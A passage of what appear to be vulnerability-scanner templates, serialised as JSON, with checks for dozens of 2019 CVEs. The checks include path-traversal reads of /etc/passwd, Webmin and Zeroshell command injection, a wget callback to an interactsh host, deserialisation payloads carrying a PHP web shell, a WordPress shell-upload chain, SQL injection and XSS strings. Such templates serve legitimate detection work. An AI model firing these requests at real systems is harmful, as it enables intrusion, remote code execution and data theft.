Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/printenv.shtml?{{url_encode(payload)}}","{{BaseURL}}/ssi/printenv.shtml?{{url_encode(payload)}}"],"matchers-condition":"and","matchers":[{"type":"word","words":["QUERY_STRING_UNESCAPED={{payload}}"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-3912","info":{"name":"LabKey Server Community Edition <18.3.0 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/labkey/__r1/login-login.view?returnUrl=http://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2019-13392","info":{"name":"MindPalette NateMail 3.0.15 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /NateMail.php HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\nrecipient=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]}]}]},{"id":"CVE-2019-5418","info":{"name":"Rails File Content Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"headers":{"Accept":"../../../../../../../../etc/passwd{{"},"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200,500]}]}]},{"id":"CVE-2019-6802","info":{"name":"Pypiserver <1.2.5 - Carriage Return Line Feed Injection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/%0d%0aSet-Cookie:crlfinjection=1;"],"matchers":[{"type":"regex","part":"header","regex":["^Set-Cookie: crlfinjection=1;"]}]}]},{"id":"CVE-2019-11510","info":{"name":"Pulse Connect Secure SSL VPN Arbitrary File Read","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-7275","info":{"name":"Optergy Proton/Enterprise Building Management System - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/updating.jsp?url=https://interact.sh/"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2019-8451","info":{"name":"Jira <8.4.0 - Server-Side Request Forgery","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}/plugins/servlet/gadgets/makeRequest"],"body":"url=https://{{Host}}:443@{{interactsh-url}}\n","headers":{"X-Atlassian-Token":"no-check","Content-Type":"application/x-www-form-urlencoded"},"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2019-1010290","info":{"name":"Babel - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/modules/babel/redirect.php?newurl=http://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2019-16123","info":{"name":"PilusCart <=1.4.1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/catalog.php?filename=../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-15501","info":{"name":"L-Soft LISTSERV <16.5-2018a - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/scripts/wa.exe?OK=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","LISTSERV"],"case-insensitive":true,"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-8903","info":{"name":"Totaljs <3.2.3 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/html/index.html"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["apache2.conf"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-14251","info":{"name":"T24 Web Server - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/WealthT24/GetImage?docDownloadPath=/etc/passwd","{{BaseURL}}/WealthT24/GetImage?docDownloadPath=c:/windows/win.ini"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:","for 16-bit app support"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-3398","info":{"name":"Atlassian Confluence Download Attachments - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /dologin.action HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nos_username={{username}}&os_password={{password}}&login=Log%2Bin&os_destination=\n","GET /pages/createpage.action HTTP/1.1\nHost: {{Hostname}}\n","POST /plugins/drag-and-drop/upload.action?draftId={{draftID}}&filename=../../../../../../opt/atlassian/confluence/confluence/pages/{{randstr}}.jsp&size=8&mimeType=text%2Fplain&atl_token={{csrftoken}} HTTP/1.1\nHost: {{Hostname}}\n\n${{{num1}}*{{num2}}}\n","GET /pages/downloadallattachments.action?pageId={{draftID}} HTTP/1.1\nHost: {{Hostname}}\n","GET /pages/{{randstr}}.jsp HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body_5","words":["{{result}}"]}],"extractors":[{"type":"regex","name":"csrftoken","group":1,"regex":["name=\"atlassian\\-token\" content=\"([a-z0-9]+)\"> "],"internal":true,"part":"body"},{"type":"regex","name":"draftID","group":1,"regex":["ta name=\"ajs\\-draft\\-id\" content=\"([0-9]+)\">"],"internal":true,"part":"body"}]}]},{"id":"CVE-2019-18394","info":{"name":"Ignite Realtime Openfire <=4.4.2 - Server-Side Request Forgery","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/getFavicon?host=http://oast.fun/"],"matchers":[{"type":"dsl","dsl":["contains(body, 'Interactsh Server')","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2019-12986","info":{"name":"Citrix SD-WAN Center - Remote Command Injection","severity":"critical"},"requests":[{"raw":["GET /login HTTP/1.1\nHost: {{Hostname}}\n","POST /Collector/diagnostics/trace_route HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nipAddress=%60/bin/wget+http://{{interactsh-url}}%60\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_1, \"Citrix SD-WAN\")"]},{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2019-15107","info":{"name":"Webmin <= 1.920 - Unauthenticated Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /password_change.cgi HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nReferer: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nuser=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2019-9922","info":{"name":"Joomla! Harmis Messenger 1.2.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php/component/jemessenger/box_details?task=download&dw_file=../../.././../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-10232","info":{"name":"Teclib GLPI <= 9.3.3 - Unauthenticated SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/glpi/scripts/unlock_tasks.php?cycle=1%20UNION%20ALL%20SELECT%201,(@@version)--%20&only_tasks=1","{{BaseURL}}/scripts/unlock_tasks.php?cycle=1%20UNION%20ALL%20SELECT%201,(@@version)--%20&only_tasks=1"],"stop-at-first-match":true,"matchers":[{"type":"word","part":"body","words":["-MariaDB-","Start unlock script"],"condition":"and"}],"extractors":[{"type":"regex","regex":["[0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2}-MariaDB"],"part":"body"}]}]},{"id":"CVE-2019-11580","info":{"name":"Atlassian Crowd and Crowd Data Center - Unauthenticated Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /crowd/admin/uploadplugin.action HTTP/2\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nContent-Type: multipart/mixed; boundary=----------------------------f15fe87e95a7\nExpect: 100-continue\n\n------------------------------f15fe87e95a7\nContent-Disposition: form-data; name=\"file_cdl\"; filename=\"rce.jar\"\nContent-Type: application/octet-stream\n\n{{plugin}}\n------------------------------f15fe87e95a7--\n","GET /crowd/plugins/servlet/exp HTTP/2\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"body_2","words":["CVE-2019-11580"]}]}]},{"id":"CVE-2019-17382","info":{"name":"Zabbix <=4.4 - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET /zabbix.php?action=dashboard.view&dashboardid={{ids}} HTTP/1.1\nHost: {{Hostname}}\n"],"payloads":{"ids":"helpers/wordlists/numbers.txt"},"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","words":["Dashboard"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-17662","info":{"name":"ThinVNC 1.0b1 - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET /{{randstr}}/../../ThinVnc.ini HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["User=","Password="],"condition":"and"},{"type":"word","part":"header","words":["application/binary"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-16097","info":{"name":"Harbor <=1.82.0 - Privilege Escalation","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}/api/users"],"body":"{\"username\": \"testpoc\", \"has_admin_role\": true, \"password\": \"TestPoc!\", \"email\": \"testpoc@interact.sh\", \"realname\": \"poc\"}\n","headers":{"Content-Type":"application/json"},"matchers-condition":"and","matchers":[{"type":"word","part":"response","words":["username has already been used","Location: /api/users/"],"condition":"or"},{"type":"status","status":[201,409],"condition":"or"}]}]},{"id":"CVE-2019-7543","info":{"name":"KindEditor 4.1.11 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}/kindeditor/php/demo.php","{{BaseURL}}/php/demo.php"],"body":"content1=&button=%E6%8F%90%E4%BA%A4%E5%86%85%E5%AE%B9","headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]}]}]},{"id":"CVE-2019-9733","info":{"name":"JFrog Artifactory 6.7.3 - Admin Login Bypass","severity":"critical"},"requests":[{"raw":["POST /artifactory/ui/auth/login?_spring_security_remember_me=false HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json, text/plain, */*\nX-Requested-With: artUI\nX-Forwarded-For: 127.0.0.1\nRequest-Agent: artifactoryUI\nContent-Type: application/json\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}/artifactory/webapp/\n\n{\"user\":\"access-admin\",\"password\":\"password\",\"type\":\"login\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"username\": \"access-admin\""]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-15811","info":{"name":"DomainMOD <=4.13.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_username={{username}}&new_password={{password}}\n","GET /reporting/domains/cost-by-month.php?daterange=%22onfocus=%22alert(document.domain)%22autofocus=%22 HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"value=\\\"\\\"onfocus=\\\"alert(document.domain)\\\"autofocus=\")","contains(body_2, \"DomainMOD\")"],"condition":"and"}]}]},{"id":"CVE-2019-8943","info":{"name":"WordPress Core 5.0.0 - Crop-image Shell Upload","severity":"medium"},"requests":[{"raw":["GET /wp-login.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","words":["WordPress","/wp-login.php?action=lostpassword\">Lost your password?","
    "],"condition":"or","internal":true}]},{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Login\n"],"matchers":[{"type":"dsl","dsl":["contains_all(header,\"wordpress_logged_in\",\"/wp-admin\")","status_code == 302"],"condition":"and","internal":true}]},{"raw":["GET /wp-content/themes/{{theme_name}}/style.css HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code == 200","len(body) > 0","content_type == 'text/css'"],"condition":"and","internal":true}]},{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"extractors":[{"type":"regex","name":"theme_name","group":1,"regex":["/wp-content/themes/([^/]+)/"],"internal":true}]},{"raw":["GET /wp-admin/media-new.php HTTP/1.1\nHost: {{Hostname}}\n"],"extractors":[{"type":"xpath","name":"wpnonce","attribute":"value","xpath":["//input[@id='_wpnonce'][1]"],"internal":true}]},{"raw":["POST /wp-admin/async-upload.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=rexvfybxrhgfrfrjv\n\n--rexvfybxrhgfrfrjv\nContent-Disposition: form-data; name=\"name\"\n\n{{image_filename}}.jpg\n--rexvfybxrhgfrfrjv\nContent-Disposition: form-data; name=\"action\"\n\nupload-attachment\n--rexvfybxrhgfrfrjv\nContent-Disposition: form-data; name=\"_wpnonce\"\n\n{{wpnonce}}\n--rexvfybxrhgfrfrjv\nContent-Disposition: form-data; name=\"async-upload\"; filename=\"{{image_filename}}.jpg\"\nContent-Type: image/jpeg\n\n{{hex_decode(\"ffd8ffe000104a46494600010101006000600000ffed003850686f746f73686f7020332e30003842494d040400000000001c1c027400103c3f3d60245f4745545b305d603b3f3e1c020000020004fffe003b43524541544f523a2067642d6a7065672076312e3020287573696e6720494a47204a50454720763830292c207175616c697479203d2038320affdb0043000604040504040605050506060607090e0909080809120d0d0a0e1512161615121414171a211c17181f1914141d271d1f2223252525161c292c28242b21242524ffdb00430106060609080911090911241814182424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424ffc000110800c0010603012200021101031101ffc4001f0000010501010101010100000000000000000102030405060708090a0bffc400b5100002010303020403050504040000017d01020300041105122131410613516107227114328191a1082342b1c11552d1f02433627282090a161718191a25262728292a3435363738393a434445464748494a535455565758595a636465666768696a737475767778797a838485868788898a92939495969798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae1e2e3e4e5e6e7e8e9eaf1f2f3f4f5f6f7f8f9faffc4001f0100030101010101010101010000000000000102030405060708090a0bffc400b51100020102040403040705040400010277000102031104052131061241510761711322328108144291a1b1c109233352f0156272d10a162434e125f11718191a262728292a35363738393a434445464748494a535455565758595a636465666768696a737475767778797a82838485868788898a92939495969798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae2e3e4e5e6e7e8e9eaf2f3f4f5f6f7f8f9faffda000c03010002110311003f003c3f3d60245f4745545b305d603b3f3e\")}}\n--rexvfybxrhgfrfrjv--\n"],"extractors":[{"type":"json","part":"body","name":"image_id","json":[".data.id"],"internal":true},{"type":"json","part":"body","name":"update_nonce","json":[".data.nonces.update"],"internal":true},{"type":"json","part":"body","name":"filename","json":[".data.filename"],"internal":true}]},{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=query-attachments&post_id=0&query%5bitem%5d=43&query%5borderby%5d=date&query%5border%5d=DESC&query%5bposts_per_page%5d=40&query%5bpaged%5d=1\n"],"extractors":[{"type":"json","part":"body","name":"ajax_nonce","json":[".data[0].nonces.edit"],"internal":true}]},{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=image-editor&_ajax_nonce={{ajax_nonce}}&postid={{image_id}}&history=%5b%7b%22c%22%3a%7b%22x%22%3a0%2c%22y%22%3a0%2c%22w%22%3a400%2c%22h%22%3a300%7d%7d%5d&target=all&context=&do=save\n"],"extractors":[{"type":"regex","name":"image_filename","part":"body","group":1,"regex":["\\/([^\\/]+-e\\d+)-"],"internal":true}]},{"raw":["POST /wp-admin/post.php?post={{image_id}}&action=edit HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n"],"extractors":[{"type":"xpath","name":"wpnonce2","attribute":"value","xpath":["//input[@id='_wpnonce'][1]"],"internal":true}]},{"raw":["POST /wp-admin/post.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_wpnonce={{wpnonce2}}&action=editpost&post_ID={{image_id}}&meta_input%5b_wp_attached_file%5d={{date_time('%Y/%M')}}/{{image_filename}}.jpg%3f/x\n"],"matchers":[{"type":"status","status":[302],"internal":true}]},{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=crop-image&_ajax_nonce={{ajax_nonce}}&id={{image_id}}&cropDetails%5bx1%5d=0&cropDetails%5by1%5d=0&cropDetails%5bwidth%5d=400&cropDetails%5bheight%5d=300&cropDetails%5bdst_width%5d=400&cropDetails%5bdst_height%5d=300\n"],"extractors":[{"type":"json","part":"body","json":[".data.filename"],"internal":true}]},{"raw":["POST /wp-admin/post.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_wpnonce={{wpnonce2}}&action=editpost&post_ID={{image_id}}&meta_input%5b_wp_attached_file%5d={{date_time('%Y/%M')}}/{{image_filename}}.jpg%3f/../../../../themes/{{theme_name}}/{{randstr}}\n"],"matchers":[{"type":"status","status":[302],"internal":true}]},{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=crop-image&_ajax_nonce={{ajax_nonce}}&id={{image_id}}&cropDetails%5bx1%5d=0&cropDetails%5by1%5d=0&cropDetails%5bwidth%5d=400&cropDetails%5bheight%5d=300&cropDetails%5bdst_width%5d=400&cropDetails%5bdst_height%5d=300\n"],"extractors":[{"type":"json","part":"body","name":"cropped_image_filename","json":[".data.filename"],"internal":true}]},{"raw":["POST /wp-admin/post-new.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n"],"extractors":[{"type":"xpath","name":"wpnonce3","attribute":"value","xpath":["//input[@id='_wpnonce'][1]"],"internal":true},{"type":"regex","name":"post_id","part":"body","group":1,"regex":["\"post\":{\"id\":(\\w+),"],"internal":true}]},{"raw":["POST /wp-admin/post.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_wpnonce={{wpnonce3}}&action=editpost&post_ID={{post_id}}&post_title={{rand_text_alpha(10)}}&post_name={{rand_text_alpha(10)}}&meta_input%5b_wp_page_template%5d=cropped-{{randstr}}.jpg\n"],"matchers":[{"type":"status","status":[302],"internal":true}]},{"method":"GET","path":["{{BaseURL}}/?p={{post_id}}&0=echo+{{base64(string)}}|base64+-d","{{BaseURL}}/?p={{post_id}}&0=type+C:\\windows\\win.ini","{{BaseURL}}/?p={{post_id}}&0=type+..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini"],"stop-at-first-match":true,"matchers":[{"type":"word","part":"body","words":["{{string}}","for 16-bit app support"],"condition":"or"}]}]},{"id":"CVE-2019-16469","info":{"name":"Adobe Experience Manager - Expression Language Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/mnt/overlay/dam/gui/content/assets/metadataeditor.external.html?item=$%7b{{num1}}*{{num2}}%7d"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["data-formid=\"{{result}}\"","Embed Code"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-2588","info":{"name":"Oracle Business Intelligence - Path Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"],"matchers-condition":"and","matchers":[{"type":"word","words":["for 16-bit app support"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-10717","info":{"name":"BlogEngine.NET 3.3.7.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/filemanager?path=%2F..%2f..%2fContent"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"regex","regex":["~/App_Data/files/../../([a-zA-Z0-9\\.\\-]+)/([a-z0-9]+)"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-6340","info":{"name":"Drupal - Remote Code Execution","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/node/1?_format=hal_json"],"body":"{ \"link\": [ { \"value\": \"link\", \"options\": \"O:24:\\\"GuzzleHttp\\\\Psr7\\\\FnStream\\\":2:{s:33:\\\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\\\";a:1:{s:5:\\\"close\\\";a:2:{i:0;O:23:\\\"GuzzleHttp\\\\HandlerStack\\\":3:{s:32:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\\\";s:2:\\\"id\\\";s:30:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\\\";a:1:{i:0;a:1:{i:0;s:6:\\\"system\\\";}}s:31:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\\\";b:0;}i:1;s:7:\\\"resolve\\\";}}s:9:\\\"_fn_close\\\";a:2:{i:0;r:4;i:1;s:7:\\\"resolve\\\";}}\" } ], \"_links\": { \"type\": { \"href\": \"http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default\" } } }","matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["uid=","gid=","groups="],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-2767","info":{"name":"Oracle Business Intelligence Publisher - XML External Entity Injection","severity":"high"},"requests":[{"raw":["GET /xmlpserver/convert?xml=<%3fxml+version%3d\"1.0\"+%3f>%25sp%3b%25param1%3b]>&_xf=Excel&_xl=123&template=123 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2019-16332","info":{"name":"WordPress API Bearer Auth <20190907 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["/wp-content/plugins/api-bearer-auth/"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/api-bearer-auth/swagger/swagger-config.yaml.php?&server=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-18957","info":{"name":"MicroStrategy Library <11.1.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/MicroStrategyLibrary/auth/ui/loginPage?loginMode=alert(document.domain)"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["previousLoginMode: alert(document.domain),"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-9632","info":{"name":"ESAFENET CDG - Arbitrary File Download","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/CDGServer3/ClientAjax"],"headers":{"Content-Type":"application/x-www-form-urlencoded"},"body":"command=downclientpak&InstallationPack=../WEB-INF/web.xml&forward=index.jsp\n","matchers-condition":"and","matchers":[{"type":"status","status":[200]},{"type":"word","words":["CDGPermissions"]}]}]},{"id":"CVE-2019-7255","info":{"name":"Linear eMerge E3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/badging/badge_template_v0.php?layout=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Template : "]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-7315","info":{"name":"Genie Access WIP3BVAF IP Camera - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-19411","info":{"name":"Huawei Firewall - Local File Inclusion","severity":"low"},"requests":[{"method":"GET","path":["{{BaseURL}}/umweb/../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:[x*]:0:0:"]},{"type":"word","part":"header","words":["application/octet-stream"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-14322","info":{"name":"Pallets Werkzeug <0.15.5 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/base_import/static/c:/windows/win.ini","{{BaseURL}}/web/static/c:/windows/win.ini","{{BaseURL}}/base/static/c:/windows/win.ini"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-17538","info":{"name":"Jiangnan Online Judge 0.8.0 - Local File Inclusion","severity":"high"},"requests":[{"raw":["GET /jnoj/web/polygon/problem/viewfile?id=1&name=../../../../../../../etc/passwd HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-5434","info":{"name":"Revive Adserver 4.2 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /adxmlrpc.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nAccept-Encoding: gzip\n\n openads.spc remote_addr 8.8.8.8 cookies a:1:{S:4:\"what\";O:11:\"Pdp\\Uri\\Url\":1:{S:17:\"\\00Pdp\\5CUri\\5CUrl\\00host\";O:21:\"League\\Flysystem\\File\":2:{S:7:\"\\00*\\00path\";S:55:\"plugins/3rdPartyServers/ox3rdPartyServers/max.class.php\";S:13:\"\\00*\\00filesystem\";O:21:\"League\\Flysystem\\File\":2:{S:7:\"\\00*\\00path\";S:66:\"x://data:text/html;base64,PD9waHAgc3lzdGVtKCRfR0VUWyIwIl0pOyA/Pg==\";S:13:\"\\00*\\00filesystem\";O:29:\"League\\Flysystem\\MountManager\":2:{S:14:\"\\00*\\00filesystems\";a:1:{S:1:\"x\";O:27:\"League\\Flysystem\\Filesystem\":2:{S:10:\"\\00*\\00adapter\";O:30:\"League\\Flysystem\\Adapter\\Local\":1:{S:13:\"\\00*\\00pathPrefix\";S:0:\"\";}S:9:\"\\00*\\00config\";O:23:\"League\\Flysystem\\Config\":1:{S:11:\"\\00*\\00settings\";a:1:{S:15:\"disable_asserts\";b:1;}}}}S:10:\"\\00*\\00plugins\";a:1:{S:10:\"__toString\";O:34:\"League\\Flysystem\\Plugin\\ForcedCopy\":0:{}}}}}}} 0 dsad 1 0 1 \n","GET /plugins/3rdPartyServers/ox3rdPartyServers/max.class.php?0=id HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header_2","words":["text/html"]},{"type":"regex","part":"body_2","regex":["uid=\\d+\\(([^)]+)\\) gid=\\d+\\(([^)]+)\\)"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-0230","info":{"name":"Apache Struts <=2.5.20 - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/?id={{str}}%25{128*128}"],"matchers":[{"type":"word","part":"body","words":["{{str}}16384"]}]}]},{"id":"CVE-2019-12725","info":{"name":"Zeroshell 3.9.0 - Remote Command Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW="],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-1943","info":{"name":"Cisco Small Business 